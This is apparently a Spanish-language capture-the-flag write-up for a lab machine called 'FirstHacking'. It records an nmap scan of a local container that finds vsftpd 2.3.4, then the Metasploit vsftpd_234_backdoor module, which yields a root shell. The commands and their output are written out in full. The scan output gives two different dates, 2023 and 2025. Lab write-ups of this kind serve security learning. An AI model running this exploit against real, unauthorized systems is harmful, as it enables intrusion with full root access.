FirstHacking

Intrusión

Primero comprobamos si hay conectividad con un ping. Una vez sabemos que hay conectividad enumeraremos los puertos con nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.17.0.2 -oN fastScan.

```
File: fastScan

# Nmap 7.95 scan initiated Fri Oct 3 16:34:23 2025 as: /usr/lib/nmap/nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn -oN fastScan 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000020s latency).
Scanned at 2023-10-03 16:34:23 CEST for 2s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 2.3.4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
# Nmap done at Fri Oct 3 16:34:25 2025 -- 1 IP address (1 host up) scanned in 2.01 seconds
```

Encontramos abierto el puerto **21** en una versión vulnerable de ftp, así que abriremos msfconsole con msfconsole –q y pondremos search vsftpd 2.3.4.

Como vemos hay un exploit disponible, así que probaremos con él.

```
msf > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 172.17.0.2:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.17.0.2:21 - USER: 331 Please specify the password.
[+] 172.17.0.2:21 - Backdoor service has been spawned, handling...
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.17.0.1:41877 -> 172.17.0.2:6200) at 2025-10-03 16:37:29 +0200
whoami
root
```

Ya tenemos una shell como root así que tenemos todos los privilegios.